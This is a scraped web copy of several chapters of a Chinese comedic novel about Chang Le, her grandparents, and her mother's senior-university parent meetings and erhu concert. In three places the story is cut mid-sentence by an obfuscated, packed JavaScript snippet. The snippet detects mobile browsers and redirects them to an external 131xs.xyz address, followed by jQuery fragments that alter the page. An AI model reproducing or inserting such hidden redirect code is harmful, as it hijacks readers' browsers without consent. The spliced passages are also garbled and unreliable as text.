一团红黄相间的细丝,应该就是传说中的藏红花吧?另一团黑色的小圆片,也许就是鹿茸?还有那一根根像树根一样的东西,大概是冬虫夏草。那块黑乎乎的板砖,不会就是阿胶吧? 常乐将它们统统塞进羽绒服的口袋。 她重新收拾好地上的垃圾,正要起身,一抬头,就看见易诚站在面前。 他举着透明的雨伞,朝她伸出手,手里拿着个塑料瓶。 “干什么?”常乐一脸懵。 易诚弯下腰,把塑料瓶放到她面前,说:“我家里还有几个空油壶,要不要?” 常乐:???

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585078|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 易诚以为她不好意思,还贴心地说:“你在这儿等着,我回去给你拿。” 说完转身就要走。 “你回来!”常乐站起身,大吼一声,“你是不是觉得自己还挺幽默的?” 易诚回头看着她,眼里闪过一丝困惑。 “你不是来捡瓶子的吗?油壶也能卖,还更值钱。小区里其他人都抢着要呢。” 常乐双手掐腰,气势汹汹地说:“我抢你个巴子!我是在找东西,不是在捡破烂!” 她捡起地上的塑料瓶,走到易诚面前,塞进他怀里,“自己的垃圾自己扔!” 易诚把瓶子扔进垃圾桶,手中的雨伞往常乐上方偏了偏,满脸歉意又忍不住想笑:“不好意思啊,我以为……” 常乐翻了个白眼,懒得搭理他。 视线一转,她忽然瞥见不远处的竹林里有个瘦小的人影,在雨雾中模模糊糊,一晃而过。 再定睛一看,人影就不见了。 ……大概是路人。常乐没放在心上。 回到家,常乐从口袋里掏出一包包战利品,摆放在餐桌上,等候姥姥的表彰。 陈年珍宝失而复得,姥姥喜笑颜开,逐一打开检查。 “哎哟我的藏红花,好多年前买的,一直舍不得喝。” 常乐说:“你倒是喝啊,白白放着不是浪费了?” 她听说有些名贵药材不能久存,所谓“一年宝二年药三年草”,这藏红花放了这么多年,难怪一股子刺鼻的霉味儿。 “我喝这个干什么?这是调理月经用的。”姥姥白了她一眼,“你高中的时候不是月经不调吗?我有次买菜,正好碰到有人在卖这个,就买了一两,花了五十多呢。” 常乐:……五十多?这价格能买到真货吗? 经姥姥一提醒,她忽然想起来了,高三那年学习压力大,月经不规律。有天晚上,姥姥神神秘秘地端来一碗红糖水,说能大补。 红糖水里,漂浮着几根菊瓣一样的细丝。 第二天,她拉了一天。 关键是,那天是月考。第一场考语文,开考不到十分钟,她就举手要上厕所。半个小时后,第二次。一个小时后…… 监考老师都不耐烦了,直接把她卷子收了,还劝她一次性拉完,别耽误后面的考试。 常乐盯着姥姥手里那包红黄丝,眼里渐渐聚起怒火。 就是你个小垃圾,害得我在班里脸面丢尽、还荣获一个“勤屎皇”的称号? 我还辛辛苦苦把你从垃圾桶里救回来? 管你是藏红花还是藏黑花,今天我要把你碾得满地掉渣! 一道铃声乍响,将她瞬间拉回现实。再看到屏幕上的名字,她的复仇之火彻底熄火了。 又忘记接林文娟了。 常乐一边接电话一边换鞋:“哎呀呀路上又堵车了……我马上到!” 在凄风惨雨中等了二十分钟,林文娟的脸色已经阴得能滴出水了。 平息怒火的最好方式,就是迅速转移注意力。 常乐一边开车,一边绘声绘色地讲述自己清理冰箱的雷霆手段。 在听她讲到自己成功挽救家庭财产后,林文娟终于开口:“那什么藏红花、鹿茸、冬虫夏草,都是假货,扔就扔了,你还捡回来,真是多此一举。” “啊?”常乐的笑容凝固在脸上。 “那藏红花,就是染色的萝卜丝,估计还掺了点药粉。鹿茸和冬虫夏草也是路边摊买的,还那么便宜,怎么可能是真的?你姥姥就爱贪小便宜吃大亏。” 常乐张着嘴,愣了好一会,才弱弱地说:“要不,我再找个机会偷偷扔了?” 林文娟点点头:“记得扔远点。” 常乐向她保证:“已经扔得已经够远了,她绝对找不到。” 夜色渐深,姥姥姥爷都睡了。 常乐蹑手蹑脚地走出房间。她打算将那几袋假冒伪劣的药材偷偷藏进房间,明天早上再开车运到城市郊区,彻底毁尸灭迹。 她偷偷摸摸地钻进厨房,打开冰箱,顿时傻眼了—— 下午扔的那些东西,居然又回来了! 大红枣、老干妈、卤豆干、各种瓶瓶罐罐…… 除了那几盘剩饭剩菜已经无力回天,其它的都在原位,仿佛从未离开过。 再打开下层,就连那袋过期六年的水饺,也再度回归。 只是水饺都粘黏成了一团,卖相欠佳,应该是解冻后又被重新冻上了。 真是活见鬼了! 16. 16 第二天一早,一家三口在车里分垃圾。 “老常,这袋你带到单位里扔。”林文娟递给常建民一袋垃圾,又往自己脚边放了一袋,“这袋我带去学校,剩下这袋——” 常乐接过垃圾,“我知道,扔到易诚家门口。” 林文娟扬起手就是一个爆栗。 常乐捂着脑袋,表情狰狞,“开个玩笑而已……” 林文娟斜她一眼,“别老欺负人家。” 送完林文娟和常建民,常乐开着车,在大街上漫无目的地游荡,最后把垃圾甩进了一家酒楼的后巷的垃圾桶里。 她就不信姥姥能找到这里。 回到家,姥姥又发了一通脾气。常乐皮糙肉厚,怎么骂都没用,所以怒火最后都由姥爷承担了。 常乐双手搭在姥爷的肩上,郑重地说:“姥爷,为了全家人的身体健康,你挨点骂又算得了什么?” 姥爷:“……我外孙女可真孝顺啊。” 为了弥补姥爷受伤的小心脏,常乐主动提出要帮他拍视频素材。 这次,姥爷又在网上买了一堆花里胡哨的衣服,常乐一件件看下来,眉头越皱越紧。 她双手撑开一套白西装,表示不解:“这是要干什么?cos肯德基老爷爷吗?” “还有这件。”她拎起一件花花绿绿的外套,一脸嫌弃,“这是谁家的床单吗?” 姥爷解释道:“都是网友推荐的,反正有运费险,不合适就退呗。” 正说着,姥姥在门外爆出一声吼:“乐,过来帮忙!” 常乐走出卧室,见姥姥正在搬墙角的折叠梯,她赶紧上前搭把手。 “要干嘛啊姥姥?” “把窗帘都取下来,今天太阳好,洗衣机脱个水,晒一天就能干。” 姥姥之命,常乐岂敢不从。她乖乖爬上梯.子,取下客厅的窗帘,然后是餐厅的、卧室的…… 一堆窗帘在地上堆成了小山。只塞进两片,洗衣机就超负荷了。 没办法,只能多洗几次了。 趁着洗衣的空档,常乐又回到姥爷的卧室,见他已经换上了那套花花绿绿的套装,站在镜子前整理仪容。 画风诡异又搞笑。 常乐笑得东倒西歪:“姥爷,你穿这种衣服拍视频,不怕留下黑历史吗?” 姥爷扯了扯衣角,自信满满地说:“你懂什么?反差越大越吸睛。” 常乐好不容易才止住笑,说:“姥爷,你要是这么想红,我给花钱买点流量呗。” “这……还没赚钱呢,就要花钱了?” 常乐心想,你买这些衣服,花的钱也不少啊。 她说:“就当是创业前期的投入呗,等你当了网红,就能加倍赚回来啊。” 姥爷有些犹豫:“就没有什么不花钱也能火的方法?” 常乐想了想,提议道:“这样吧,你把名字改成‘苏太强’,打扮成他的模样直播。” 姥爷摇摇头,态度坚决:“那不行,我是有底线的,这种碰瓷的事,我做不出来。” 常乐:“……” 你一个八旬老人,穿着大花袄,跟我谈底线? 有点魔幻了。 “姥爷,你摆几个pose。” 常乐掏出手机,给姥爷拍了几组照片,又打开视频。 正录着,又听到姥姥在门口大喊:“乐儿啊,窗帘晾了吗?” 常乐赶紧跑出去。 窗帘晾到一半,手机铃声响了。这是她为了提醒自己接林文娟设的闹钟。 “姥,我回来继续晾。”她扔下窗帘,拔腿冲到门口,一边换鞋一边抱怨:“这一天天的,啥事都得我干,累死我了!” 常乐没想到,接下来的一周,她每天都处于这种状态—— 早上一起床就得给小奶狗喂奶,然后送林文娟上学,送常建民上班。 白天她在家,一会儿陪姥爷拍视频、剪视频,一会儿帮姥姥做家务,还得见缝插针地给视频取个标题、想个文案。 时间一到又得去接林文娟放学。 晚上还得帮姥爷管理账号,回复评论、投投抖加、买买水军什么的。睡前必须给小奶狗喂奶,否则半夜会被吵醒。 她像只陀螺转个不停,一天下来,累得头昏脑涨,回到房间只想躺着。 周四晚上,常乐趴在床上跟珍姐视频聊天。珍姐羡慕她在家也能赚钱,她掰着指头给她算:“你知道我一天要打几份工吗?四份啊!”她忿忿不平,捶打着枕头,“打四份工就领一份钱,简直比菲佣还惨!” 珍姐苦笑道:“我在家又带娃又做家务又照顾老人,还得挤出时间拍素材剪视频,我也打四份工,可是谁给我发工资呢?” 常乐沉默了。 她有点后悔,不该在挨饿的人面前吃饭吧唧嘴。 珍姐总结道:“所以啊,有这么好的家人,你就知足吧。” 常乐惭愧地笑了笑:“是啊,知足才能常乐嘛。” -- 周五这天,常乐又多了个任务——开家长会。 她一心想着上台发言的事,紧张得都忘了要林文娟加钱。 常乐提前到达老年大学,循着门口的指示牌,找到了开家长会的会议室。 门口有一排长桌。她签了到,领了一沓材料,进会议室找了个后排的位置坐下。 会议室里零零散散地坐了几个人,正前方的大屏幕上,红底黄字写着:家校携手迎期末,关爱老年贺新春。 常乐低头看看手里的材料,什么老年大学的简介、成果展示、下学期的课程设置……她看得饶有兴致。直到台上传来主持人的声音,她才抬起眼。 会议室里已经乌泱泱坐满了人,放眼望去,大爷大妈居多,估计是学员本人或者其配偶。 粗略一数,至少有一百多人。 常乐吓了一跳,心怦怦跳得飞快。 她真的要在这么多人面前发言吗? 是上台还是站在原地?她的稿子在手机里,能照着手机念吗? 主持人说完开场语,掌声雷动,一位西装革履的区领导上台了。 “……我们老年大学,既丰富了老年人的退休生活,又向社会传递了老有所为的正能量……” 他巴拉巴拉说了一堆,常乐听得正认真,猛地想起来——她自己的稿子还没背熟呢。 她赶紧掏出手机,打开备忘录,逐字逐句默念自己的发言稿。 区领导说完了,又上来一位校领导。 校领导下去了,又上来一位教师代表。 教师代表结束发言,又上来一位学员代表…… 四十分钟过去了,常乐背稿已经背得头晕眼花,还得时不时抬头瞅一眼,看看会议进展到哪一步了。 前后左右的大爷大妈们都睡着了。 终于到了激动人心的表彰环节,主持人在台上念奖项,与此同时,大屏幕上滚动播放获奖学员的名单。 “获得2024—2025学年第一学期的优秀学员有,杨建文先生、李秀华女士、林文娟女士。” 听到期待中的名字,常乐心头一喜,急忙掏出手机,给大屏幕拍了张特写,微信发送给林文娟。 她甚至还杵了杵旁边打瞌睡的大爷,提醒他:“林文娟,我妈。” 大爷迷迷糊糊的:“啊?” 常乐指着大屏幕,“优秀学员啊,我妈,嘿嘿。” 大爷:“……哦哦不错不错。” 本以为表彰名单就这么长,没想到,大屏幕上源源不断地滚动—— “学习标兵”有五人,“进步之星”有十人,“体育风尚奖”有五人,“正能量宣传员”有十人…… 名单念完,获奖人数加起来比到场人数还多。 常乐:“……” 这是幼儿园在发小红花吗?主打一个雨露均沾是吧? 管他呢,获奖人数越少,含金量越高。 想到这,常乐又扬起了骄傲的头颅。 名单念完,主持人用饱含激情的声音说道:“接下来,让我们有请东山区教育局副局长、也是我们优秀学员杨建文先生的儿子、杨梦军先生上台发言。” 掌声稀稀拉拉,大部分人都半睡半醒。 第一排一个穿行政夹克的中年男人站起身,从容不迫地走上台,站在话筒前。 常乐呆愣愣地盯着他,心像石头似地往下坠。 坠入胃里,翻涌起一股酸涩,再坠到肚脐眼…… 她把手机熄屏,塞回了口袋里。 -- 家长会开完已经五点多了,一个破会,开了一个半小时,翻来覆去就那么几句话。 常乐挤在散场的人群之中,郁闷地想,还不如让姥姥姥爷来呢。 他们至少睡得香。 文艺汇演在学校东侧的小礼堂。常乐溜达着过去,绕到后台化妆间,一眼就看到了正在化妆镜前吃盒饭的林文娟。 她化了全妆,头发做了个手推波浪卷,羽绒服底下是一身金色旗袍。 “乐宝!”林文娟发现了门口的常乐,冲她招招手,“会开完了?吃了吗?” 常乐扬起笑脸,“还没呢。” “等着,我去给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585079|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你拿一份。”林文娟起身走了出去,不一会儿又回来,手上拿着盒饭和筷子。 化妆间里,几个同样穿着旗袍的阿姨问林文娟:“娟儿,这是你闺女啊?” “是啊,她来参加家长会。” “哦哟,真好,我儿子懒得很,怎么叫都不肯来。” “我家那个也是,只好叫我老伴儿来了。”一位阿姨笑眯眯地打量着常乐,“还是闺女贴心啊。” 常乐腼腆地笑了笑,低下头,心不在焉地用筷子扒拉着饭。 “怎么了?”林文娟小声问,“心情不好啊?” 常乐回过神,“没有。”她往嘴里塞了红烧肉,岔开话题:“妈,你看到我给你发的照片了吗?” 林文娟得意地挑挑眉,“看到了,我就说我能得奖吧。” 常乐牵起唇角,勉强笑了下。 林文娟皱起眉,“怎么了?我得奖了,你还不高兴?” 常乐叹了口气,沉默良久,才低低地开口:“妈,我要是个有头有脸的大人物就好了。” 林文娟忍不住笑了,指着面前的梳妆镜说:“你自己照照,你是没头还是没脸啊?” 常乐没有笑,语气依旧低落:“明明大家都是优秀学员,凭什么只有那个局长儿子能上台?我一介平民就不配发言了吗?” 林文娟愣了下,“就为这事儿啊?”她调侃道,“你要喜欢上台发言,就去当主持人呗。” “我不是这个意思……”常乐撅着嘴,越想越委屈,“我就是觉得,如果我有出息,你也能跟着我沾光……” 林文娟扑哧一笑,揉了揉她的脑袋,“说什么傻话呢?就算你上台发言了,也是沾了我的光啊。” 常乐:“……” 我都这样了,能别打击我了么? 她低着头,闷闷地说:“早知道就不准备发言稿了,白忙活一场。” “还有稿子呢?”林文娟兴致勃勃,“给我看看。” 常乐掏出手机,打开备忘录。 林文娟眯起眼,凑得很近,抱怨道:“字儿太小,看不清。你读一遍吧。” “啊?在这儿吗?”常乐紧张地环视四周,几个大姨在一边吃饭一边闲聊,还有两个在举着手机自拍。 “对啊,就把这里当成领奖台。”林文娟挺直腰背,神色认真,“开始吧。” 常乐只好放下筷子,拿起手机,字正腔圆地念道:“尊敬的各位领导,亲爱的……这段全是废话,跳过。” 她清了清嗓,从第二段开始: “我的妈妈林文娟一直是一个努力上进的人……噫,这一段太肉麻了,跳过。” “别啊。”林文娟急忙道,“就从这段开始。我努力上进,然后呢?” 常乐有些难为情,压低声音念道: “小时候,我每天都会练字帖,她也跟着我练。我原本以为她是为了督促我认真写字,后来才知道,她被一个病人嫌弃字太丑,处方单上的字都看不清,所以她才痛下决心要练字。” 林文娟面露尴尬,“怎么连这种小事都要说?幸好没让你上台,真是羞死了。” 常乐继续念:“几个月后,她就练成了一手标准的行楷,每个病人都夸她的字好看。上初中时,我在家里读英语,她也跟着我读。她说,科室里来了个研究生,英语说得可流利了。医院里来了外国病人,都是她来对接。我妈很羡慕人家,所以也开始学英语……” 林文娟满脸通红,伸手捂住常乐的嘴,“别念了别念了,太尴尬了……” 常乐挣脱她的手,笑嘻嘻地说:“怎么会呢?这些都是你的光荣历史啊。” 她举起手机继续念:“我最佩服我妈的一点,不是她的自律、努力、上进,而是她事事以自己为主。她的生活不是围着我转,她的人生第一顺位永远是她自己。” 林文娟听懵了:“你这是在夸我,还是在骂我啊?” “当然是夸你啦。”常乐冲她眨眨眼,然后,认真地读出最后一段: “我希望能像林文娟女士一样,对世界充满好奇,对生活充满热情。不管处于人生的哪个阶段,永远活在当下,永远在乎自己的感受,永远不缺重新起航的勇气。” 林文娟怔怔地看着她,眼眶微微泛红。 “哎哟,你……”她低下头,抹了抹眼角,“让你随便写几句,你写得这么认真干嘛?只能念给我听,可惜了……” 常乐收起手机,压在心头的沮丧和失落一扫而空。 “这些话,本来就是说给你听的。”她看着林文娟,眼含笑意,“所以啊,一点儿也不可惜。” 17. 17 晚上七点,文艺汇演正式开始。还是同一套流程,同一套班子——主持人开场、区领导讲话、校领导讲话…… 听得人昏昏欲睡。 激情澎湃的大合唱、激情澎湃的诗朗诵……终于听到主持人报幕:“下面请欣赏由二胡班全体学员带来的表演——二胡合奏《步步高》。” 常乐一下子来了精神。 大幕缓缓拉开,小小的舞台上挤挤攘攘地坐了五十多人。女人一律穿金色旗袍,男人清一色的红色长衫。 放眼望去,一片热闹喜庆,整得跟婚礼现场似的。 坐在二胡大军第一排C位的,是个年轻男人,长得白白净净的,戴着半框眼镜,气质温文尔雅。 常乐猜,他应该就是林文娟常念叨的那个“钟大师”。 因为现场唯一一个话筒,就立在他前面。 一开始,常乐还在吐槽,这么多人,就一个话筒,主办方也忒抠了。上一个节目诗朗诵还人手一个话筒呢。 随着一声起调,欢快热闹的音乐声响起。 这首曲子是超市过年的循环曲目之一,其洗脑效果堪比“恭喜你发财,恭喜你精彩”,是个人都能哼哼几句。 所以,连常乐都能听出,这调子不太对劲。 就像被风刮得东倒西歪、晕头转向。 林文娟坐在第二排、钟大师的右后方,她演奏得那叫一个沉浸投入、激情洋溢,上半身还在跟着节奏摇晃,让常乐不禁产生了自我怀疑——没准儿原曲就是这样?超市放的都是盗版? 第一段合奏结束,进入第二段交替演奏,钟大师先独奏一段,大伙儿再合奏一段。 至此,常乐彻底明白了。 这场表演,完全是钟大师在以一己之力对抗跑偏的千军万马啊。 他是怎么忍住不笑场的? 就像是两人对唱,一个人是专业歌手,而另一个是随机挑选的观众,五音不全还自信满满,硬是把一场灾难级表演,整出了喜剧效果。 反正常乐是憋不住。她笑得前仰后合,录视频的手都在抖。 晚会散场后,常乐开车载林文娟回家。 林文娟回看手机里的视频,颇为不满:“你这拍的都是什么啊?晃得我都要吐了。” 常乐抿唇憋笑:“太兴奋了,没忍住嘛。” “哟,”林文娟一脸了然,“看到帅哥太激动了?” 常乐无语地斜她一眼。 林文娟极力推销:“我们钟老师长得帅吧?他是音乐世家出身,还不到三十岁,就拿了好几个全国大奖呢。班里好几个人都想把女儿介绍给他。” 常乐听懂了她的暗示,直截了当说:“你可别把我扯进来。我现在一心想着赚钱,对男人没兴趣。” 林文娟失望地撇了撇嘴。 -- 第二天下午,常乐又驱车前往北湖区老年大学,参加第二场家长会。 这所学校规模较小,只有一栋五层小楼。一楼是老年人活动室,中间几层是教室和办公室,最顶层有一间阶梯教室,晚会就在那里举办。 开家长会的教室在四楼,林文娟早已在里面等候多时了。见到常乐,她兴奋地招了招手。 等常乐坐到旁边,她凑到她耳边,神秘兮兮地说:“我都给你打点好了,今天你作为家属上台发言。” 常乐眼睛一亮:“真的吗?“ 林文娟笑眯眯地说:“对啊,我跟这边的领导关系好,而且我的同学里面也没有谁家孩子是局长。” 常乐:……那我算是捡了个漏? 不管了,反正今天,她就要扬眉吐气一把。 林文娟拍拍她的肩:“我先去排练了,等会你上台之前跟我说一声,我偷溜下来,给你拍视频。” 常乐自信满满:“我办事,你就放心吧。” 不一会儿,教室里就坐满了人。流程跟昨天的差不多,领导们轮番上台,发表讲话。 常乐一边听一边拿着手机默背演讲稿。 终于听到主持人说:“下面,让我们有请家属代表、优秀学员林文娟的女儿常乐上台发言。” 常乐赶紧给林文娟发微信:“快来!” 掌声不够热烈,也许是她的头衔太短,没有某某局长那么有气势,众人似乎对她不抱期待。 常乐无所谓。她雄赳赳气昂昂地踏上讲台,刚调整好话筒高度,就看见后门开了道小缝,林文娟偷偷摸摸地钻了进来,坐到了最后一排。 还举起手,冲她比了个大拇指。 常乐回给她一个自信的笑容。 接下来,她的发挥远超预期。 在提到林文娟的生活趣事时,台下观众脸上都露出了会心的笑容。在夸赞林文娟的美好品质时,观众的掌声也极其配合。 只剩最后一段了。 常乐深吸一口气,慷慨激昂地说:“最后,我要感谢东山区老年大学,让我妈妈在逐梦的道路上不再孤单……” 林文娟嘴角抽搐一下。 台下响起窃窃私语声。 “还要感谢东山区教育局的领导,对老年人的退休生活给予的关怀和帮助……” 第一排几个人开始交头接耳。林文娟已经尴尬得缩进了椅子里。 “全市的老年大学,我妈妈都去试听过,她说东山区老年大学是课程最全、教学水平最高、综合实力最强的……” 台下的议论声越来越大,常乐还沾沾自喜,以为自己马屁拍到位了。 林文娟捂着脸跑路了。 最后,在众人稀稀拉拉的掌声中,常乐走下讲台,内心充满了骄傲。 -- 晚上回到家,常乐回看林文娟给自己录的视频,忍不住抱怨:“你怎么也抖得这么厉害?怎么录到一半就停了?” 林文娟不想打击她,只好强颜欢笑道:“老师打电话让我上去彩排,我就先走了。” “……好吧。”常乐将手机还给她。 她生了会儿闷气,很快重燃斗志:“对了,明天南港区是不是还有一场?我还要上台吗?” “不用!”林文娟脱口而出,又觉得不妥,干笑两声作为掩饰:“哈哈哈,明天让你爸去。你都连着参加两场了,是时候休息一下了。“ “啊?”常乐大失所望,“我不用休息,我状态好着呢。” 常建民在一旁弱弱地插话:“既然乐宝想参加,那就把这个机会让给她吧,我无所谓……” 林文娟斜飞来一记眼刀。 常建民立刻噤声。 林文娟调整好笑容,看向常乐,嘴上说着:“就听我的,明天让你爸去。你在家好好歇着,我放你一天假。” 心里想的却是:北湖区老年大学估计已经把她们母女拉黑名单了,要是再把南港区得罪了,明年她还有学上吗? 常乐闷闷不乐地“哦”了一声,过了会儿,又说:“妈,以后你们学校还有什么亲子活动,一定要让我去。我还想让你给我洗脚呢。” “给、你、洗、脚?”林文娟怀疑自己听错了。 “对啊,就像高中那样。”常乐喜滋滋地说。 高一那年,学校搞了一场感恩教育的活动,不知从哪儿请了位专家,开展了一场声泪俱下的演讲,然后,所有学生都要家长磕头、洗脚,家长还得配合着流几滴眼泪…… 时隔多年,常乐回忆起这场大型表演艺术,依旧尴尬得脚趾抠地。 但是,如果身份互换,她不仅不尴尬,还会得意洋洋地拍视频发朋友圈,并配文:“妈妈终于长大了,知道心疼我了。[感恩][爱心][飞吻]” 她陷入美好的憧憬之中:“除了洗脚,还可以给我揉揉肩、捶捶背,至于磕头就免了,我还不习惯——” 话未说完,林文娟就飞来一记爆栗,并发出一声爆吼: “我磕你马了个巴子!” 常乐捂着后脑勺,痛得龇牙咧嘴。 -- 年关将近,小区大门早早地贴上了对联,沿途的香樟树上都挂上了红灯笼,处处洋溢着喜庆的气氛。 学期结束,林文娟不用再早出晚归去上学,但她又闲不住,所以放假的第二天,她就拉上了常乐去超市买年货。 过年期间,超市的人口密度堪比早高峰的地铁。母女俩推着购物车艰难前行,上上下下,来来回回,终于把年货买齐。 她们又开车去附近的花鸟市场,挑选几盆开得正艳的杜鹃和水仙,连同刚刚买的几大袋年货,整整齐齐地码放在后备箱里。 老城区道路本就狭窄,行人和电瓶车见缝插针,路边各种乱停乱放,更是加剧了拥堵。 从花鸟市场出来,短短一段路,小车走走停停,蠕动了二十分钟,才挤了出来。 主干道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585080|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也没好到哪儿去。大家都在龟速行驶,偏偏前面有辆小白车,像泥鳅一样窜来窜去,强行加塞,又不打灯,一公里的路变道了四五次。 常乐几次想骂脏话,又碍于林文娟在旁边,只能在心里默默地骂了句傻吊。 下一秒,就听到“咚”的一声闷响,小白车在变道时被后面一辆越野车给撞了。后面所有的车都被迫停了下来。 常乐幸灾乐祸地大笑起来。 林文娟也挺高兴:“这傻子终于遭报应了,哈哈哈!” 小白车的主驾上下来一个中年男人,留着小平头,梗着脖子,一脸凶相,看上去不是个善茬。 越野车上下来一对男女,都穿着油光锃亮的貂皮大衣,看模样也不好惹。 战火一触即发。 常乐急忙降下车窗,探出脑袋,伸长脖子,恨不得下车近距离观战。 “你还挺爱凑热闹。”林文娟瞥她一眼,也降下了车窗,“他们在吵什么?” 常乐兴高采烈地说:“现在是互喷脏话环节。” 小平头情绪激动,脖子涨得通红,唾沫星子都喷到貂男的脸上了。 貂女也不甘示弱,涂得猩红的指甲戳着小平头的脑袋,一顿点穴加狮吼。 后面的车不耐烦地按起了喇叭。 渐渐地,喇叭声越来越大,此起彼伏,持续不断。 在一片嘈杂中,常乐隐隐听到一缕细细的二胡声,声音清亮,节奏欢快,仿佛在为这场大战配BGM。 她还以为自己连着参加两场晚会,被折磨得出现了幻听。 但林文娟也听到了。她将脑袋探出窗外,东张西望,自言自语道:“我怎么听到有人在拉二胡?” 常乐环视一圈,发现二胡声是从前面的城隍庙飘来的。这座庙历史悠久,在本市颇有名气。红墙古朴,石门厚重,香客们络绎不绝。 红墙根下坐了一排老头,有的银发白须、仙风道骨,有的戴墨镜、穿马褂,估计都是算命的。 在这排老头中,有个年轻人格外抢眼。 他穿一身黑色大衣,端坐在凳子上拉着二胡,旁边还立着一个易拉宝,上面的文字常乐看不清,只看到底下有个硕大的二维码。 “是不是那个人?”常乐捅捅林文娟。 林文娟顺着她指的方向望去,眯起眼睛,轻轻地“咦”了一声。 常乐也发出同样的疑惑:“有点眼熟……是不是在哪儿见过?” 林文娟不太确定:“好像是……我的二胡老师。” “哦,对对对!”常乐记起来了,那个钟大师。 上次见他,他还穿着喜庆的红色长衫,这次的装扮就日常且成熟稳重多了。 不过,此情此景,让常乐不得不往那方面联想—— “你的老师在要饭啊?” 林文娟扬起手拍了她一下,“什么叫要饭?这叫卖艺,跟那些在路边弹吉他唱歌的人一样,都是街头艺术家,懂不懂?” 常乐啧了一声。 在街头弹吉他,听上去还挺浪漫,有种流浪歌手的气质。在庙门口拉二胡,看上去就很命苦,有种瞎子阿炳的遗风。 常乐怂恿她:“你不下去打个招呼?” “打什么打?赶紧走。”林文娟升起车窗,生怕被对方看见,“给他留点面子吧。” 常乐指了指他旁边的易拉宝,“上面有付款码,你要不给他捐点?” 林文娟想了想,稍稍降下车窗,举起手机,放大屏幕。 只可惜,离得太远,扫不出来。 庙门口人来人往,一波又一波路人被二胡声吸引过来,围成半圈,挡住了易拉宝,也遮住了钟老师的身影。 只剩下欢快的二胡声,在马路上飘荡,与喇叭声形成了奇妙的共振。 交警来得很快,肇事车辆被挪到路边,道路终于通畅了。 常乐轻踩油门,缓缓前行。 经过小平头时,她还扬起下巴,冲他咧嘴一笑,满满的嘲讽意味。 小车驶过城隍庙,林文娟还在频频回头,嘀咕道:“好歹是个搞艺术的,怎么沦落到这种地步了?学校是不是拖欠老师的工资啊?真是过分。” 常乐安慰她:“妈,往好处想,学二胡的就业面还挺广。等以后你没钱了,还可以上大街上要饭。” 林文娟面无表情,扬起手,甩出一记爆栗。 18. 18 出生第十二天,小奶狗们陆陆续续地睁眼了。 为此,常乐特地批准了易诚的探视权,允许他带上图图来家里共享亲子时光。 也许是出于护崽的本能,胜宝一见到陌生人靠近狗窝,就龇牙咧嘴,发出阵阵威胁的低吼。 见到图图,她更加暴躁,甚至匍匐在地,摆出进攻的架势。 图图吓得夹紧尾巴,躲在门外,不敢靠前。 易诚有些尴尬,凑近看了小奶狗一眼,就急忙退了出来,生怕惹狗妈生气。 常乐安慰他:“等断奶了就好了,到时候你挑一只最肥的带走。” “真是辛苦你了。”易诚真心实意地说,“小奶狗刚出生的时候最难照顾了。” 常乐摆摆手,表示客套的话不必多说。 姥姥给易诚端了杯茶,热情地招呼道:“晚上就留在家里吃吧,饭都快做好了。” “不用客气了,李婆婆。”易诚拘谨地笑笑,“我就是来看看小狗,待会儿就回去了。” 姥姥满脸笑意:“行,你们聊。” 目送姥姥走进厨房后,易诚才压低声音,对常乐说:“上次你姥姥追出来,硬要把红包还给我,我争不过她,就收了……”他掏出手机,“要不我把钱转你微信?” 常乐回想起那天林文娟在车里说的话,又联想到易诚现在的处境,有些于心不忍。 她大度地说:“算啦,我也就是随口说说,养几只小狗花不了多少钱,你就别放在心上了。” 易诚微微一怔,“那……以后给胜宝做绝育、给小狗打疫苗,你跟我说一声,我带他们去。” 常乐敷衍道:“以后再说吧。” 易诚还是觉得过意不去,想了想,又说:“要不我请你吃饭吧,感谢你把小狗照顾得这么好。” 常乐心里一动。最近家饭吃多了,她确实有点想念外面的野饭了。 “好啊,吃什么?” “你定吧,我都行。” 常乐想起昨天开车经过老街时,她看到有家火锅店生意特别好,大中午的,门口还坐满了等号的人,想必口味肯定不错。 她跟林文娟提议试试这家,林文娟却以“重油重辣重盐,一看就不健康”为由,一口回绝了她。 常乐:“吃火锅吗?” 易诚:“可以啊。” 常乐看一眼手机,已经四点多了,要想不排队,现在就得动身了。 “走吧。” “现在?”易诚有些诧异,指着厨房,“你姥姥不是都做好饭了吗?” 常乐急匆匆地催他:“走啦走啦,家里的饭随时都能吃,外面的可是要排队等很久的!” 现在不走,等姥姥端着菜出来,或者等林文娟下楼,她就走不了了。 两人一狗偷偷摸摸地出了门。 他们在小区里绕了大半圈,把图图送回易诚家后,又朝大门方向走去。 靠近门口有一条长廊,天气好的时候,这里长满了大爷大妈。晒太阳的、打牌的、闲聊的,张家长李家短,各种八卦,在这里汇聚,从这里播散。 堪称小区的情报站。 